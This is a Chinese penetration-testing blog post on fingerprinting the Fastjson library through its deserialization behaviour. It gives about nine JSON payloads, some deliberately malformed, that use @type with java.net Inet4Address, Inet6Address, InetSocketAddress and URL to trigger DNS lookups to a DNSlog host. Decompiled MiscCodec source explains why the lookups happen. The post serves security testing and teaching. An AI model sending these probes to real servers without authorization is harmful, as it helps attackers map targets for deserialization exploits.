Fastjson探测简介

Fastjson探测作用

在渗透测试中遇到json数据一般都会测试下有没有反序列化,然而JSON库有Fastjson,JackJson,Gson等等,那么怎么判断后端不是Fastjson呢?可以构造特定的payload来进行探测分析,下面介绍一些常用的payload,且这些Payload可以在AutoType关闭的情况下进行测试~~~

Fastjson探测方法

方法一:java.net.Inet4Address

请求方式

{"@type":"java.net.Inet4Address","val":"dnslog"}

请求测试

DNSLog响应

基础原理分析

Fastjson对于Inet4Address类会使用MiscCodec这个ObjectDeserializer来反序列化:

之后在MiscCodec的deserialze下断点进行调试分析:

之后跟进parse.parser,此处的parser为DefaultJSONParser:

之后跟进解析器:

之后再次跟进去看看字符串如何处理:

之后进行一次字符串的截取:

截取之后,截取到DNSlog域名信息:

之后将objVal赋值给strVal,其值为DNSLog域名:

之后会调用GetByName进行一次域名解析:

MiscCodec的deserialze函数代码如下所示:

    public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
        JSONLexer lexer = parser.lexer;
        String className;
        if (clazz == InetSocketAddress.class) {
            if (lexer.token() == 8) {
                lexer.nextToken();
                return null;
            } else {
                parser.accept(12);
                InetAddress address = null;
                int port = 0;

                while(true) {
                    className = lexer.stringVal();
                    lexer.nextToken(17);
                    if (className.equals("address")) {
                        parser.accept(17);
                        address = (InetAddress)parser.parseObject(InetAddress.class);
                    } else if (className.equals("port")) {
                        parser.accept(17);
                        if (lexer.token() != 2) {
                            throw new JSONException("port is not int");
                        }

                        port = lexer.intValue();
                        lexer.nextToken();
                    } else {
                        parser.accept(17);
                        parser.parse();
                    }

                    if (lexer.token() != 16) {
                        parser.accept(13);
                        return new InetSocketAddress(address, port);
                    }

                    lexer.nextToken();
                }
            }
        } else {
            Object objVal;
            if (parser.resolveStatus == 2) {
                parser.resolveStatus = 0;
                parser.accept(16);
                if (lexer.token() != 4) {
                    throw new JSONException("syntax error");
                }

                if (!"val".equals(lexer.stringVal())) {
                    throw new JSONException("syntax error");
                }

                lexer.nextToken();
                parser.accept(17);
                objVal = parser.parse();
                parser.accept(13);
            } else {
                objVal = parser.parse();
            }

            String strVal;
            if (objVal == null) {
                strVal = null;
            } else {
                if (!(objVal instanceof String)) {
                    if (objVal instanceof JSONObject) {
                        JSONObject jsonObject = (JSONObject)objVal;
                        if (clazz == Currency.class) {
                            String currency = jsonObject.getString("currency");
                            if (currency != null) {
                                return Currency.getInstance(currency);
                            }

                            String symbol = jsonObject.getString("currencyCode");
                            if (symbol != null) {
                                return Currency.getInstance(symbol);
                            }
                        }

                        if (clazz == Entry.class) {
                            return jsonObject.entrySet().iterator().next();
                        }

                        return jsonObject.toJavaObject(clazz);
                    }

                    throw new JSONException("expect string");
                }

                strVal = (String)objVal;
            }

            if (strVal != null && strVal.length() != 0) {
                if (clazz == UUID.class) {
                    return UUID.fromString(strVal);
                } else if (clazz == URI.class) {
                    return URI.create(strVal);
                } else if (clazz == URL.class) {
                    try {
                        return new URL(strVal);
                    } catch (MalformedURLException var10) {
                        throw new JSONException("create url error", var10);
                    }
                } else if (clazz == Pattern.class) {
                    return Pattern.compile(strVal);
                } else if (clazz == Locale.class) {
                    return TypeUtils.toLocale(strVal);
                } else if (clazz == SimpleDateFormat.class) {
                    SimpleDateFormat dateFormat = new SimpleDateFormat(strVal, lexer.getLocale());
                    dateFormat.setTimeZone(lexer.getTimeZone());
                    return dateFormat;
                } else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {
                    if (clazz == File.class) {
                        if (strVal.indexOf("..") >= 0 && !FILE_RELATIVE_PATH_SUPPORT) {
                            throw new JSONException("file relative path not support.");
                        } else {
                            return new File(strVal);
                        }
                    } else if (clazz == TimeZone.class) {
                        return TimeZone.getTimeZone(strVal);
                    } else {
                        if (clazz instanceof ParameterizedType) {
                            ParameterizedType parmeterizedType = (ParameterizedType)clazz;
                            clazz = parmeterizedType.getRawType();
                        }

                        if (clazz == Class.class) {
                            return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader(), false);
                        } else if (clazz == Charset.class) {
                            return Charset.forName(strVal);
                        } else if (clazz == Currency.class) {
                            return Currency.getInstance(strVal);
                        } else if (clazz == JSONPath.class) {
                            return new JSONPath(strVal);
                        } else if (!(clazz instanceof Class)) {
                            throw new JSONException("MiscCodec not support " + clazz.toString());
                        } else {
                            className = ((Class)clazz).getName();
                            if (className.equals("java.nio.file.Path")) {
                                try {
                                    if (method_paths_get == null && !method_paths_get_error) {
                                        Class<?> paths = TypeUtils.loadClass("java.nio.file.Paths");
                                        method_paths_get = paths.getMethod("get", String.class, String[].class);
                                    }

                                    if (method_paths_get != null) {
                                        return method_paths_get.invoke((Object)null, strVal, new String[0]);
                                    }

                                    throw new JSONException("Path deserialize erorr");
                                } catch (NoSuchMethodException var12) {
                                    method_paths_get_error = true;
                                } catch (IllegalAccessException var13) {
                                    throw new JSONException("Path deserialize erorr", var13);
                                } catch (InvocationTargetException var14) {
                                    throw new JSONException("Path deserialize erorr", var14);
                                }
                            }

                            throw new JSONException("MiscCodec not support " + className);
                        }
                    }
                } else {
                    try {
                        return InetAddress.getByName(strVal);
                    } catch (UnknownHostException var11) {
                        throw new JSONException("deserialize inet adress error", var11);
                    }
                }
            } else {
                return null;
            }
        }
    }

方法二:java.net.Inet6Address

请求方式

{"@type":"java.net.Inet6Address","val":"dnslog"}

请求测试

DNSLog响应

基础原理分析

java.net.Inet6Address与java.net.Inet4Address类似,使用了MiscCodec这个ObjectDeserializer来反序列化,其余的内容就不再复述了~

方式三:java.net.InetSocketAddress

请求方式

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

请求测试

DNSLog响应

基础原理分析

java.net.InetSocketAddress与java.net.Inet4Address类似,会使用MiscCodec的ObjectDeserializer来反序列化,由于此处的畸形JSON请求数据在解析时会有两次进入deserialze(这与Fastjson的Token性质有关,从而导致解析的逻辑走向发生变化,有兴趣的可以了解一下)第一次进入是clazz为:java.net.InetJSONParser:

第二次时为java.net.InetAddress:

之后将objVal赋值给strVal:

最后触发DNS解析:

方式四:java.net.URL

请求方式

{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}

请求测试

DNSLog响应

其他方式使用示例

畸形方式1

{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}

请求测试:

DNSLog响应:

畸形方式2

Set[{"@type":"java.net.URL","val":"http://dnslog"}]

请求方式:

DNSLog响应:

畸形方式3

Set[{"@type":"java.net.URL","val":"http://dnslog"}

请求方式:

DNSLog响应:

畸形方式4

{{"@type":"java.net.URL","val":"http://dnslog"}:0

请求方式:

DNSLog响应:

畸形方式5

{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}

请求方式:

DNSLog响应:

跟多新技巧等待你的解锁~

 

参考链接:https://github.com/alibaba/fastjson/issues/3077

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
FastjsonFastjson2都是JSON库,用于处理JSON格式的数据。 Fastjson2是Fastjson项目的重要升级,旨在为未来十年提供高性能的JSON库。相比于原来的FastjsonFastjson2在性能上有了很大的提升,并且更加安全。它完全删除了autoType白名单,提升了安全性。 在使用上,导入Fastjson2的依赖后,与原来的Fastjson在代码上基本相同。唯一的区别是在Fastjson2中,将`jsonArray.toJavaList`方法转变为`jsonArray.toList`。 总结来说,FastjsonFastjson2都是用于处理JSON数据的库,但Fastjson2是Fastjson的升级版本,提供了更高的性能和更好的安全性。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [fastjson2 介绍及使用](https://blog.csdn.net/qq_33697094/article/details/128114939)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [Fastjson2你开始使用了吗?来看看源码解析](https://blog.csdn.net/chenxuyuana/article/details/125581066)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值